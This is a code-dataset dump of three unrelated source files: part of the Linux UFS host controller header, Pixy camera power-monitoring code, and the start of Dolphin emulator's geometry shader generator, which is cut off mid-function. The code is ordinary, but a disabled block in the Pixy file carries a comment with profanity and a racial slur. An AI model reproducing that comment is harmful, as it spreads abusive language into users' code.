CONFIG_SCSI_UFS_HWMON struct device *hwmon_device; #endif enum ufs_dev_pwr_mode curr_dev_pwr_mode; enum uic_link_state uic_link_state; /* Desired UFS power management level during runtime PM */ enum ufs_pm_level rpm_lvl; /* Desired UFS power management level during system PM */ enum ufs_pm_level spm_lvl; struct device_attribute rpm_lvl_attr; struct device_attribute spm_lvl_attr; int pm_op_in_progress; /* Auto-Hibernate Idle Timer register value */ u32 ahit; struct ufshcd_lrb *lrb; unsigned long outstanding_tasks; spinlock_t outstanding_lock; unsigned long outstanding_reqs; u32 capabilities; int nutrs; int nutmrs; u32 ufs_version; const struct ufs_hba_variant_ops *vops; struct ufs_hba_variant_params *vps; void *priv; unsigned int irq; bool is_irq_enabled; enum ufs_ref_clk_freq dev_ref_clk_freq; unsigned int quirks; /* Deviations from standard UFSHCI spec. */ /* Device deviations from standard UFS device spec. */ unsigned int dev_quirks; struct blk_mq_tag_set tmf_tag_set; struct request_queue *tmf_queue; struct request **tmf_rqs; struct uic_command *active_uic_cmd; struct mutex uic_cmd_mutex; struct completion *uic_async_done; enum ufshcd_state ufshcd_state; u32 eh_flags; u32 intr_mask; u16 ee_ctrl_mask; /* Exception event mask */ u16 ee_drv_mask; /* Exception event mask for driver */ u16 ee_usr_mask; /* Exception event mask for user (via debugfs) */ struct mutex ee_ctrl_mutex; bool is_powered; bool shutting_down; struct semaphore host_sem; /* Work Queues */ struct workqueue_struct *eh_wq; struct work_struct eh_work; struct work_struct eeh_work; /* HBA Errors */ u32 errors; u32 uic_error; u32 saved_err; u32 saved_uic_err; struct ufs_stats ufs_stats; bool force_reset; bool force_pmc; bool silence_err_logs; /* Device management request data */ struct ufs_dev_cmd dev_cmd; ktime_t last_dme_cmd_tstamp; int nop_out_timeout; /* Keeps information of the UFS device connected to this host */ struct ufs_dev_info dev_info; bool auto_bkops_enabled; struct ufs_vreg_info vreg_info; struct list_head clk_list_head; /* Number of requests aborts */ int req_abort_count; /* Number of lanes available (1 or 2) for Rx/Tx */ u32 lanes_per_direction; struct ufs_pa_layer_attr pwr_info; struct ufs_pwr_mode_info max_pwr_info; struct ufs_clk_gating clk_gating; /* Control to enable/disable host capabilities */ u32 caps; struct devfreq *devfreq; struct ufs_clk_scaling clk_scaling; bool is_sys_suspended; enum bkops_status urgent_bkops_lvl; bool is_urgent_bkops_lvl_checked; struct rw_semaphore clk_scaling_lock; unsigned char desc_size[QUERY_DESC_IDN_MAX]; atomic_t scsi_block_reqs_cnt; struct device bsg_dev; struct request_queue *bsg_queue; struct delayed_work rpm_dev_flush_recheck_work; #ifdef CONFIG_SCSI_UFS_HPB struct ufshpb_dev_info ufshpb_dev; #endif struct ufs_hba_monitor monitor; #ifdef CONFIG_SCSI_UFS_CRYPTO union ufs_crypto_capabilities crypto_capabilities; union ufs_crypto_cap_entry *crypto_cap_array; u32 crypto_cfg_register; struct blk_crypto_profile crypto_profile; #endif #ifdef CONFIG_DEBUG_FS struct dentry *debugfs_root; struct delayed_work debugfs_ee_work; u32 debugfs_ee_rate_limit_ms; #endif u32 luns_avail; bool complete_put; }; /* Returns true if clocks can be gated. Otherwise false */ static inline bool ufshcd_is_clkgating_allowed(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_CLK_GATING; } static inline bool ufshcd_can_hibern8_during_gating(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_HIBERN8_WITH_CLK_GATING; } static inline int ufshcd_is_clkscaling_supported(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_CLK_SCALING; } static inline bool ufshcd_can_autobkops_during_suspend(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_AUTO_BKOPS_SUSPEND; } static inline bool ufshcd_is_rpm_autosuspend_allowed(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_RPM_AUTOSUSPEND; } static inline bool ufshcd_is_intr_aggr_allowed(struct ufs_hba *hba) { return (hba->caps & UFSHCD_CAP_INTR_AGGR) && !(hba->quirks & UFSHCD_QUIRK_BROKEN_INTR_AGGR); } static inline bool ufshcd_can_aggressive_pc(struct ufs_hba *hba) { return !!(ufshcd_is_link_hibern8(hba) && (hba->caps & UFSHCD_CAP_AGGR_POWER_COLLAPSE)); } static inline bool ufshcd_is_auto_hibern8_supported(struct ufs_hba *hba) { return (hba->capabilities & MASK_AUTO_HIBERN8_SUPPORT) && !(hba->quirks & UFSHCD_QUIRK_BROKEN_AUTO_HIBERN8); } static inline bool ufshcd_is_auto_hibern8_enabled(struct ufs_hba *hba) { return FIELD_GET(UFSHCI_AHIBERN8_TIMER_MASK, hba->ahit) ? true : false; } static inline bool ufshcd_is_wb_allowed(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_WB_EN; } static inline bool ufshcd_is_user_access_allowed(struct ufs_hba *hba) { return !hba->shutting_down; } #define ufshcd_writel(hba, val, reg) \ writel((val), (hba)->mmio_base + (reg)) #define ufshcd_readl(hba, reg) \ readl((hba)->mmio_base + (reg)) /** * ufshcd_rmwl - read modify write into a register * @hba - per adapter instance * @mask - mask to apply on read value * @val - actual value to write * @reg - register address */ static inline void ufshcd_rmwl(struct ufs_hba *hba, u32 mask, u32 val, u32 reg) { u32 tmp; tmp = ufshcd_readl(hba, reg); tmp &= ~mask; tmp |= (val & mask); ufshcd_writel(hba, tmp, reg); } int ufshcd_alloc_host(struct device *, struct ufs_hba **); void ufshcd_dealloc_host(struct ufs_hba *); int ufshcd_hba_enable(struct ufs_hba *hba); int ufshcd_init(struct ufs_hba *, void __iomem *, unsigned int); int ufshcd_link_recovery(struct ufs_hba *hba); int ufshcd_make_hba_operational(struct ufs_hba *hba); void ufshcd_remove(struct ufs_hba *); int ufshcd_uic_hibern8_enter(struct ufs_hba *hba); int ufshcd_uic_hibern8_exit(struct ufs_hba *hba); void ufshcd_delay_us(unsigned long us, unsigned long tolerance); int ufshcd_wait_for_register(struct ufs_hba *hba, u32 reg, u32 mask, u32 val, unsigned long interval_us, unsigned long timeout_ms); void ufshcd_parse_dev_ref_clk_freq(struct ufs_hba *hba, struct clk *refclk); void ufshcd_update_evt_hist(struct ufs_hba *hba, u32 id, u32 val); void ufshcd_hba_stop(struct ufs_hba *hba); static inline void check_upiu_size(void) { BUILD_BUG_ON(ALIGNED_UPIU_SIZE < GENERAL_UPIU_REQUEST_SIZE + QUERY_DESC_MAX_SIZE); } /** * ufshcd_set_variant - set variant specific data to the hba * @hba - per adapter instance * @variant - pointer to variant specific data */ static inline void ufshcd_set_variant(struct ufs_hba *hba, void *variant) { BUG_ON(!hba); hba->priv = variant; } /** * ufshcd_get_variant - get variant specific data from the hba * @hba - per adapter instance */ static inline void *ufshcd_get_variant(struct ufs_hba *hba) { BUG_ON(!hba); return hba->priv; } static inline bool ufshcd_keep_autobkops_enabled_except_suspend( struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_KEEP_AUTO_BKOPS_ENABLED_EXCEPT_SUSPEND; } static inline u8 ufshcd_wb_get_query_index(struct ufs_hba *hba) { if (hba->dev_info.wb_buffer_type == WB_BUF_MODE_LU_DEDICATED) return hba->dev_info.wb_dedicated_lu; return 0; } #ifdef CONFIG_SCSI_UFS_HWMON void ufs_hwmon_probe(struct ufs_hba *hba, u8 mask); void ufs_hwmon_remove(struct ufs_hba *hba); void ufs_hwmon_notify_event(struct ufs_hba *hba, u8 ee_mask); #else static inline void ufs_hwmon_probe(struct ufs_hba *hba, u8 mask) {} static inline void ufs_hwmon_remove(struct ufs_hba *hba) {} static inline void ufs_hwmon_notify_event(struct ufs_hba *hba, u8 ee_mask) {} #endif #ifdef CONFIG_PM extern int ufshcd_runtime_suspend(struct device *dev); extern int ufshcd_runtime_resume(struct device *dev); #endif #ifdef CONFIG_PM_SLEEP extern int ufshcd_system_suspend(struct device *dev); extern int ufshcd_system_resume(struct device *dev); #endif extern int ufshcd_shutdown(struct ufs_hba *hba); extern int ufshcd_dme_configure_adapt(struct ufs_hba *hba, int agreed_gear, int adapt_val); extern int ufshcd_dme_set_attr(struct ufs_hba *hba, u32 attr_sel, u8 attr_set, u32 mib_val, u8 peer); extern int ufshcd_dme_get_attr(struct ufs_hba *hba, u32 attr_sel, u32 *mib_val, u8 peer); extern int ufshcd_config_pwr_mode(struct ufs_hba *hba, struct ufs_pa_layer_attr *desired_pwr_mode); /* UIC command interfaces for DME primitives */ #define DME_LOCAL 0 #define DME_PEER 1 #define ATTR_SET_NOR 0 /* NORMAL */ #define ATTR_SET_ST 1 /* STATIC */ static inline int ufshcd_dme_set(struct ufs_hba *hba, u32 attr_sel, u32 mib_val) { return ufshcd_dme_set_attr(hba, attr_sel, ATTR_SET_NOR, mib_val, DME_LOCAL); } static inline int ufshcd_dme_st_set(struct ufs_hba *hba, u32 attr_sel, u32 mib_val) { return ufshcd_dme_set_attr(hba, attr_sel, ATTR_SET_ST, mib_val, DME_LOCAL); } static inline int ufshcd_dme_peer_set(struct ufs_hba *hba, u32 attr_sel, u32 mib_val) { return ufshcd_dme_set_attr(hba, attr_sel, ATTR_SET_NOR, mib_val, DME_PEER); } static inline int ufshcd_dme_peer_st_set(struct ufs_hba *hba, u32 attr_sel, u32 mib_val) { return ufshcd_dme_set_attr(hba, attr_sel, ATTR_SET_ST, mib_val, DME_PEER); } static inline int ufshcd_dme_get(struct ufs_hba *hba, u32 attr_sel, u32 *mib_val) { return ufshcd_dme_get_attr(hba, attr_sel, mib_val, DME_LOCAL); } static inline int ufshcd_dme_peer_get(struct ufs_hba *hba, u32 attr_sel, u32 *mib_val) { return ufshcd_dme_get_attr(hba, attr_sel, mib_val, DME_PEER); } static inline bool ufshcd_is_hs_mode(struct ufs_pa_layer_attr *pwr_info) { return (pwr_info->pwr_rx == FAST_MODE || pwr_info->pwr_rx == FASTAUTO_MODE) && (pwr_info->pwr_tx == FAST_MODE || pwr_info->pwr_tx == FASTAUTO_MODE); } static inline int ufshcd_disable_host_tx_lcc(struct ufs_hba *hba) { return ufshcd_dme_set(hba, UIC_ARG_MIB(PA_LOCAL_TX_LCC_ENABLE), 0); } /* Expose Query-Request API */ int ufshcd_query_descriptor_retry(struct ufs_hba *hba, enum query_opcode opcode, enum desc_idn idn, u8 index, u8 selector, u8 *desc_buf, int *buf_len); int ufshcd_read_desc_param(struct ufs_hba *hba, enum desc_idn desc_id, int desc_index, u8 param_offset, u8 *param_read_buf, u8 param_size); int ufshcd_query_attr_retry(struct ufs_hba *hba, enum query_opcode opcode, enum attr_idn idn, u8 index, u8 selector, u32 *attr_val); int ufshcd_query_attr(struct ufs_hba *hba, enum query_opcode opcode, enum attr_idn idn, u8 index, u8 selector, u32 *attr_val); int ufshcd_query_flag(struct ufs_hba *hba, enum query_opcode opcode, enum flag_idn idn, u8 index, bool *flag_res); void ufshcd_auto_hibern8_enable(struct ufs_hba *hba); void ufshcd_auto_hibern8_update(struct ufs_hba *hba, u32 ahit); void ufshcd_fixup_dev_quirks(struct ufs_hba *hba, struct ufs_dev_fix *fixups); #define SD_ASCII_STD true #define SD_RAW false int ufshcd_read_string_desc(struct ufs_hba *hba, u8 desc_index, u8 **buf, bool ascii); int ufshcd_hold(struct ufs_hba *hba, bool async); void ufshcd_release(struct ufs_hba *hba); void ufshcd_map_desc_id_to_length(struct ufs_hba *hba, enum desc_idn desc_id, int *desc_length); u32 ufshcd_get_local_unipro_ver(struct ufs_hba *hba); int ufshcd_send_uic_cmd(struct ufs_hba *hba, struct uic_command *uic_cmd); int ufshcd_exec_raw_upiu_cmd(struct ufs_hba *hba, struct utp_upiu_req *req_upiu, struct utp_upiu_req *rsp_upiu, int msgcode, u8 *desc_buff, int *buff_len, enum query_opcode desc_op); int ufshcd_wb_toggle(struct ufs_hba *hba, bool enable); int ufshcd_suspend_prepare(struct device *dev); void ufshcd_resume_complete(struct device *dev); /* Wrapper functions for safely calling variant operations */ static inline const char *ufshcd_get_var_name(struct ufs_hba *hba) { if (hba->vops) return hba->vops->name; return ""; } static inline int ufshcd_vops_init(struct ufs_hba *hba) { if (hba->vops && hba->vops->init) return hba->vops->init(hba); return 0; } static inline void ufshcd_vops_exit(struct ufs_hba *hba) { if (hba->vops && hba->vops->exit) return hba->vops->exit(hba); } static inline u32 ufshcd_vops_get_ufs_hci_version(struct ufs_hba *hba) { if (hba->vops && hba->vops->get_ufs_hci_version) return hba->vops->get_ufs_hci_version(hba); return ufshcd_readl(hba, REG_UFS_VERSION); } static inline int ufshcd_vops_clk_scale_notify(struct ufs_hba *hba, bool up, enum ufs_notify_change_status status) { if (hba->vops && hba->vops->clk_scale_notify) return hba->vops->clk_scale_notify(hba, up, status); return 0; } static inline void ufshcd_vops_event_notify(struct ufs_hba *hba, enum ufs_event_type evt, void *data) { if (hba->vops && hba->vops->event_notify) hba->vops->event_notify(hba, evt, data); } static inline int ufshcd_vops_setup_clocks(struct ufs_hba *hba, bool on, enum ufs_notify_change_status status) { if (hba->vops && hba->vops->setup_clocks) return hba->vops->setup_clocks(hba, on, status); return 0; } static inline int ufshcd_vops_hce_enable_notify(struct ufs_hba *hba, bool status) { if (hba->vops && hba->vops->hce_enable_notify) return hba->vops->hce_enable_notify(hba, status); return 0; } static inline int ufshcd_vops_link_startup_notify(struct ufs_hba *hba, bool status) { if (hba->vops && hba->vops->link_startup_notify) return hba->vops->link_startup_notify(hba, status); return 0; } static inline int ufshcd_vops_phy_initialization(struct ufs_hba *hba) { if (hba->vops && hba->vops->phy_initialization) return hba->vops->phy_initialization(hba); return 0; } static inline int ufshcd_vops_pwr_change_notify(struct ufs_hba *hba, enum ufs_notify_change_status status, struct ufs_pa_layer_attr *dev_max_params, struct ufs_pa_layer_attr *dev_req_params) { if (hba->vops && hba->vops->pwr_change_notify) return hba->vops->pwr_change_notify(hba, status, dev_max_params, dev_req_params); return -ENOTSUPP; } static inline void ufshcd_vops_setup_task_mgmt(struct ufs_hba *hba, int tag, u8 tm_function) { if (hba->vops && hba->vops->setup_task_mgmt) return hba->vops->setup_task_mgmt(hba, tag, tm_function); } static inline void ufshcd_vops_hibern8_notify(struct ufs_hba *hba, enum uic_cmd_dme cmd, enum ufs_notify_change_status status) { if (hba->vops && hba->vops->hibern8_notify) return hba->vops->hibern8_notify(hba, cmd, status); } static inline int ufshcd_vops_apply_dev_quirks(struct ufs_hba *hba) { if (hba->vops && hba->vops->apply_dev_quirks) return hba->vops->apply_dev_quirks(hba); return 0; } static inline void ufshcd_vops_fixup_dev_quirks(struct ufs_hba *hba) { if (hba->vops && hba->vops->fixup_dev_quirks) hba->vops->fixup_dev_quirks(hba); } static inline int ufshcd_vops_suspend(struct ufs_hba *hba, enum ufs_pm_op op, enum ufs_notify_change_status status) { if (hba->vops && hba->vops->suspend) return hba->vops->suspend(hba, op, status); return 0; } static inline int ufshcd_vops_resume(struct ufs_hba *hba, enum ufs_pm_op op) { if (hba->vops && hba->vops->resume) return hba->vops->resume(hba, op); return 0; } static inline void ufshcd_vops_dbg_register_dump(struct ufs_hba *hba) { if (hba->vops && hba->vops->dbg_register_dump) hba->vops->dbg_register_dump(hba); } static inline int ufshcd_vops_device_reset(struct ufs_hba *hba) { if (hba->vops && hba->vops->device_reset) return hba->vops->device_reset(hba); return -EOPNOTSUPP; } static inline void ufshcd_vops_config_scaling_param(struct ufs_hba *hba, struct devfreq_dev_profile *profile, void *data) { if (hba->vops && hba->vops->config_scaling_param) hba->vops->config_scaling_param(hba, profile, data); } extern struct ufs_pm_lvl_states ufs_pm_lvl_states[]; /* * ufshcd_scsi_to_upiu_lun - maps scsi LUN to UPIU LUN * @scsi_lun: scsi LUN id * * Returns UPIU LUN id */ static inline u8 ufshcd_scsi_to_upiu_lun(unsigned int scsi_lun) { if (scsi_is_wlun(scsi_lun)) return (scsi_lun & UFS_UPIU_MAX_UNIT_NUM_ID) | UFS_UPIU_WLUN_ID; else return scsi_lun & UFS_UPIU_MAX_UNIT_NUM_ID; } int ufshcd_dump_regs(struct ufs_hba *hba, size_t offset, size_t len, const char *prefix); int __ufshcd_write_ee_control(struct ufs_hba *hba, u32 ee_ctrl_mask); int ufshcd_write_ee_control(struct ufs_hba *hba); int ufshcd_update_ee_control(struct ufs_hba *hba, u16 *mask, u16 *other_mask, u16 set, u16 clr); static inline int ufshcd_update_ee_drv_mask(struct ufs_hba *hba, u16 set, u16 clr) { return ufshcd_update_ee_control(hba, &hba->ee_drv_mask, &hba->ee_usr_mask, set, clr); } static inline int ufshcd_update_ee_usr_mask(struct ufs_hba *hba, u16 set, u16 clr) { return ufshcd_update_ee_control(hba, &hba->ee_usr_mask, &hba->ee_drv_mask, set, clr); } static inline int ufshcd_rpm_get_sync(struct ufs_hba *hba) { return pm_runtime_get_sync(&hba->sdev_ufs_device->sdev_gendev); } static inline int ufshcd_rpm_put_sync(struct ufs_hba *hba) { return pm_runtime_put_sync(&hba->sdev_ufs_device->sdev_gendev); } static inline int ufshcd_rpm_put(struct ufs_hba *hba) { return pm_runtime_put(&hba->sdev_ufs_device->sdev_gendev); } #endif /* End of Header */
mpe/powerpc
drivers/scsi/ufs/ufshcd.h
C
gpl-2.0
42,972
// // begin license header // // This file is part of Pixy CMUcam5 or "Pixy" for short // // All Pixy source code is provided under the terms of the // GNU General Public License v2 (http://www.gnu.org/licenses/gpl-2.0.html). // Those wishing to use Pixy source code, software and/or // technologies under different licensing terms should contact us at // [email protected]. Such licensing terms are available for // all portions of the Pixy codebase presented here. // // end license header // #include <math.h> #include "pixy_init.h" #include "misc.h" #include "power.h" static const ProcModule g_module[] = { { "pwr_getVin", (ProcPtr)pwr_getVin, {END}, "Get Vin (JP1) voltage" "@r voltage in millivolts" }, { "pwr_get5V", (ProcPtr)pwr_get5v, {END}, "Get 5V voltage" "@r voltage in millivolts" }, { "pwr_getVbus", (ProcPtr)pwr_getVbus, {END}, "Get USB VBUS voltage" "@r voltage in millivolts" }, { "pwr_USBpowered", (ProcPtr)pwr_USBpowered, {END}, "Determine if camera power is from USB host." "@r 0 if power is from Vin (JP1), nonzero if power is from USB" }, END }; uint32_t pwr_getVin() { uint32_t vin; vin = adc_get(VIN_ADCCHAN)*10560/1024 + 330; // 10560 = 3.3*3.2*1000, 330 is diode drop return vin; } uint32_t pwr_get5v() { uint32_t v5; v5 = adc_get(V5_ADCCHAN)*5293/1024; // 5293=3.3*1.604*1000 return v5; } uint32_t pwr_getVbus() { uint32_t vbus; vbus = adc_get(VBUS_ADCCHAN)*5293/1024; // 5293=3.3*1.604*1000 return vbus; } uint32_t pwr_USBpowered() { if (LPC_GPIO_PORT->PIN[5]&0x0100) return 1; else return 0; } void pwr_init() { LPC_GPIO_PORT->DIR[5] |= 0x0100; // choose USB power or vin if (pwr_getVin()>6430) // 6430=5000+1100(ldo)+330(diode) LPC_GPIO_PORT->PIN[5] &= ~0x0100; else // switch usb on LPC_GPIO_PORT->PIN[5] |= 0x0100; #if 0 // Undergrad robotics mod, no need for usb shit fuck my ass nigga please g_chirpUsb->registerModule(g_module); #endif }
Pravuz/AimBot
Pixy/gcc/pixy_m4/src/power.cpp
C++
gpl-2.0
1,975
// Copyright 2014 Dolphin Emulator Project // Licensed under GPLv2+ // Refer to the license.txt file included. #include "VideoCommon/GeometryShaderGen.h" #include <cmath> #include <cstring> #include "Common/CommonTypes.h" #include "VideoCommon/DriverDetails.h" #include "VideoCommon/LightingShaderGen.h" #include "VideoCommon/VideoCommon.h" #include "VideoCommon/VideoConfig.h" #include "VideoCommon/XFMemory.h" constexpr std::array<const char*, 4> primitives_ogl = { {"points", "lines", "triangles", "triangles"}}; constexpr std::array<const char*, 4> primitives_d3d = {{"point", "line", "triangle", "triangle"}}; bool geometry_shader_uid_data::IsPassthrough() const { const bool stereo = g_ActiveConfig.iStereoMode > 0; const bool wireframe = g_ActiveConfig.bWireFrame; return primitive_type >= static_cast<u32>(PrimitiveType::Triangles) && !stereo && !wireframe; } GeometryShaderUid GetGeometryShaderUid(PrimitiveType primitive_type) { ShaderUid<geometry_shader_uid_data> out; geometry_shader_uid_data* uid_data = out.GetUidData<geometry_shader_uid_data>(); memset(uid_data, 0, sizeof(geometry_shader_uid_data)); uid_data->primitive_type = static_cast<u32>(primitive_type); uid_data->numTexGens = xfmem.numTexGen.numTexGens; return out; } static void EmitVertex(ShaderCode& out, const ShaderHostConfig& host_config, const geometry_shader_uid_data* uid_data, const char* vertex, APIType ApiType, bool wireframe, bool pixel_lighting, bool first_vertex = false); static void EndPrimitive(ShaderCode& out, const ShaderHostConfig& host_config, const geometry_shader_uid_data* uid_data, APIType ApiType, bool wireframe, bool pixel_lighting); ShaderCode GenerateGeometryShaderCode(APIType ApiType, const ShaderHostConfig& host_config, const geometry_shader_uid_data* uid_data) { ShaderCode out; // Non-uid template parameters will write to the dummy data (=> gets optimized out) const bool wireframe = host_config.wireframe; const bool pixel_lighting = g_ActiveConfig.bEnablePixelLighting; const bool msaa = host_config.msaa; const bool ssaa = host_config.ssaa; const bool stereo = host_config.stereo; const PrimitiveType primitive_type = static_cast<PrimitiveType>(uid_data->primitive_type); const unsigned primitive_type_index = static_cast<unsigned>(uid_data->primitive_type); const unsigned vertex_in = std::min(static_cast<unsigned>(primitive_type_index) + 1, 3u); unsigned vertex_out = primitive_type == PrimitiveType::TriangleStrip ? 3 : 4; const unsigned int layers = host_config.more_layers * 2 + (int)(stereo) + 1; if (wireframe) vertex_out++; if (ApiType == APIType::OpenGL || ApiType == APIType::Vulkan) { // Insert layout parameters if (host_config.backend_gs_instancing) { out.Write("layout(%s, invocations = %d) in;\n", primitives_ogl[primitive_type_index], layers); out.Write("layout(%s_strip, max_vertices = %d) out;\n", wireframe ? "line" : "triangle", vertex_out); } else { out.Write("layout(%s) in;\n", primitives_ogl[primitive_type_index]); out.Write("layout(%s_strip, max_vertices = %d) out;\n", wireframe ? "line" : "triangle", vertex_out * layers); } } out.Write("%s", s_lighting_struct); // uniforms if (ApiType == APIType::OpenGL || ApiType == APIType::Vulkan) out.Write("UBO_BINDING(std140, 3) uniform GSBlock {\n"); else out.Write("cbuffer GSBlock {\n"); out.Write("\tfloat4 " I_STEREOPARAMS ";\n" "\tfloat4 " I_LINEPTPARAMS ";\n" "\tint4 " I_TEXOFFSET ";\n" "};\n"); out.Write("struct VS_OUTPUT {\n"); GenerateVSOutputMembers<ShaderCode>(out, ApiType, uid_data->numTexGens, pixel_lighting, ""); out.Write("};\n"); if (ApiType == APIType::OpenGL || ApiType == APIType::Vulkan) { if (host_config.backend_gs_instancing) out.Write("#define InstanceID gl_InvocationID\n"); out.Write("VARYING_LOCATION(0) in VertexData {\n"); GenerateVSOutputMembers<ShaderCode>(out, ApiType, uid_data->numTexGens, pixel_lighting, GetInterpolationQualifier(msaa, ssaa, true, true)); out.Write("} vs[%d];\n", vertex_in); out.Write("VARYING_LOCATION(0) out VertexData {\n"); GenerateVSOutputMembers<ShaderCode>(out, ApiType, uid_data->numTexGens, pixel_lighting, GetInterpolationQualifier(msaa, ssaa, true, false)); if (stereo || host_config.more_layers) out.Write("\tflat int layer;\n"); out.Write("} ps;\n"); out.Write("void main()\n{\n"); } else // D3D { out.Write("struct VertexData {\n"); out.Write("\tVS_OUTPUT o;\n"); if (stereo || host_config.more_layers) out.Write("\tuint layer : SV_RenderTargetArrayIndex;\n"); out.Write("};\n"); if (host_config.backend_gs_instancing) { out.Write("[maxvertexcount(%d)]\n[instance(%d)]\n", vertex_out, layers); out.Write("void main(%s VS_OUTPUT o[%d], inout %sStream<VertexData> output, in uint " "InstanceID : SV_GSInstanceID)\n{\n", primitives_d3d[primitive_type_index], vertex_in, wireframe ? "Line" : "Triangle"); } else { out.Write("[maxvertexcount(%d)]\n", vertex_out * layers); out.Write("void main(%s VS_OUTPUT o[%d], inout %sStream<VertexData> output)\n{\n", primitives_d3d[primitive_type_index], vertex_in, wireframe ? "Line" : "Triangle"); } out.Write("\tVertexData ps;\n"); } if (primitive_type == PrimitiveType::Lines) { if (ApiType == APIType::OpenGL || ApiType == APIType::Vulkan) { out.Write("\tVS_OUTPUT start, end;\n"); AssignVSOutputMembers(out, "start", "vs[0]", uid_data->numTexGens, pixel_lighting); AssignVSOutputMembers(out, "end", "vs[1]", uid_data->numTexGens, pixel_lighting); } else { out.Write("\tVS_OUTPUT start = o[0];\n"); out.Write("\tVS_OUTPUT end = o[1];\n"); } // GameCube/Wii's line drawing algorithm is a little quirky. It does not // use the correct line caps. Instead, the line caps are vertical or // horizontal depending the slope of the line. out.Write("\tfloat2 offset;\n" "\tfloat2 to = abs(end.pos.xy / end.pos.w - start.pos.xy / start.pos.w);\n" // FIXME: What does real hardware do when line is at a 45-degree angle? // FIXME: Lines aren't drawn at the correct width. See Twilight Princess map. "\tif (" I_LINEPTPARAMS ".y * to.y > " I_LINEPTPARAMS ".x * to.x) {\n" // Line is more tall. Extend geometry left and right. // Lerp LineWidth/2 from [0..VpWidth] to [-1..1] "\t\toffset = float2(" I_LINEPTPARAMS ".z / " I_LINEPTPARAMS ".x, 0);\n" "\t} else {\n" // Line is more wide. Extend geometry up and down. // Lerp LineWidth/2 from [0..VpHeight] to [1..-1] "\t\toffset = float2(0, -" I_LINEPTPARAMS ".z / " I_LINEPTPARAMS ".y);\n" "\t}\n"); } else if (primitive_type == PrimitiveType::Points) { if (ApiType == APIType::OpenGL || ApiType == APIType::Vulkan) { out.Write("\tVS_OUTPUT center;\n"); AssignVSOutputMembers(out, "center", "vs[0]", uid_data->numTexGens, pixel_lighting); } else { out.Write("\tVS_OUTPUT center = o[0];\n"); } // Offset from center to upper right vertex // Lerp PointSize/2 from [0,0..VpWidth,VpHeight] to [-1,1..1,-1] out.Write("\tfloat2 offset = float2(" I_LINEPTPARAMS ".w / " I_LINEPTPARAMS ".x, -" I_LINEPTPARAMS ".w / " I_LINEPTPARAMS ".y) * center.pos.w;\n"); } if (stereo || host_config.more_layers) { // If the GPU supports invocation we don't need a for loop and can simply use the // invocation identifier to determine which layer we're rendering. if (host_config.backend_gs_instancing) out.Write("\tint eye = InstanceID;\n"); else out.Write("\tfor (int eye = 0; eye < %d; ++eye) {\n", layers); } if (wireframe) out.Write("\tVS_OUTPUT first;\n"); out.Write("\tfor (int i = 0; i < %d; ++i) {\n", vertex_in); if (ApiType == APIType::OpenGL || ApiType == APIType::Vulkan) { out.Write("\tVS_OUTPUT f;\n"); AssignVSOutputMembers(out, "f", "vs[i]", uid_data->numTexGens, pixel_lighting); if (host_config.backend_depth_clamp && DriverDetails::HasBug(DriverDetails::BUG_BROKEN_CLIP_DISTANCE)) { // On certain GPUs we have to consume the clip distance from the vertex shader // or else the other vertex shader outputs will get corrupted. out.Write("\tf.clipDist0 = gl_in[i].gl_ClipDistance[0];\n"); out.Write("\tf.clipDist1 = gl_in[i].gl_ClipDistance[1];\n"); } } else { out.Write("\tVS_OUTPUT f = o[i];\n"); } if (host_config.vr) { // Select the output layer out.Write("\tps.layer = eye;\n"); if (ApiType == APIType::OpenGL) out.Write("\tgl_Layer = eye;\n"); // StereoParams[eye] = camera shift in game units * projection[0][0] // StereoParams[eye+2] = offaxis shift from Oculus projection[0][2] out.Write("\tf.clipPos.x += " I_STEREOPARAMS "[eye] - " I_STEREOPARAMS "[eye+2] * f.clipPos.w;\n"); out.Write("\tf.pos.x += " I_STEREOPARAMS "[eye] - " I_STEREOPARAMS "[eye+2] * f.pos.w;\n"); } else if (stereo || host_config.more_layers) { // Select the output layer out.Write("\tps.layer = eye;\n"); if (ApiType == APIType::OpenGL || ApiType == APIType::Vulkan) out.Write("\tgl_Layer = eye;\n"); // For stereoscopy add a small horizontal offset in Normalized Device Coordinates proportional // to the depth of the vertex. We retrieve the depth value from the w-component of the projected // vertex which contains the negated z-component of the original vertex. // For negative parallax (out-of-screen effects) we subtract a convergence value from // the depth value. This results in objects at a distance smaller than the convergence // distance to seemingly appear in front of the screen. // This formula is based on page 13 of the "Nvidia 3D Vision Automatic, Best Practices Guide" out.Write("\tfloat hoffset = (eye == 0) ? " I_STEREOPARAMS ".x : " I_STEREOPARAMS ".y;\n"); out.Write("\tf.pos.x += hoffset * (f.pos.w - " I_STEREOPARAMS ".z);\n"); } if (primitive_type == PrimitiveType::Lines) { out.Write("\tVS_OUTPUT l = f;\n" "\tVS_OUTPUT r = f;\n"); out.Write("\tl.pos.xy -= offset * l.pos.w;\n" "\tr.pos.xy += offset * r.pos.w;\n"); out.Write("\tif (" I_TEXOFFSET "[2] != 0) {\n"); out.Write("\tfloat texOffset = 1.0 / float(" I_TEXOFFSET "[2]);\n"); for (unsigned int i = 0; i < uid_data->numTexGens; ++i) { out.Write("\tif (((" I_TEXOFFSET "[0] >> %d) & 0x1) != 0)\n", i); out.Write("\t\tr.tex%d.x += texOffset;\n", i); } out.Write("\t}\n"); EmitVertex(out, host_config, uid_data, "l", ApiType, wireframe, pixel_lighting, true); EmitVertex(out, host_config, uid_data, "r", ApiType, wireframe, pixel_lighting); } else if (primitive_type == PrimitiveType::Points) { out.Write("\tVS_OUTPUT ll = f;\n" "\tVS_OUTPUT lr = f;\n" "\tVS_OUTPUT ul = f;\n" "\tVS_OUTPUT ur = f;\n"); out.Write("\tll.pos.xy += float2(-1,-1) * offset;\n" "\tlr.pos.xy += float2(1,-1) * offset;\n" "\tul.pos.xy += float2(-1,1) * offset;\n" "\tur.pos.xy += offset;\n"); out.Write("\tif (" I_TEXOFFSET "[3] != 0) {\n"); out.Write("\tfloat2 texOffset = float2(1.0 / float(" I_TEXOFFSET "[3]), 1.0 / float(" I_TEXOFFSET "[3]));\n"); for (unsigned int i = 0; i < uid_data->numTexGens; ++i) { out.Write("\tif (((" I_TEXOFFSET "[1] >> %d) & 0x1) != 0) {\n", i); out.Write("\t\tul.tex%d.xy += float2(0,1) * texOffset;\n", i); out.Write("\t\tur.tex%d.xy += 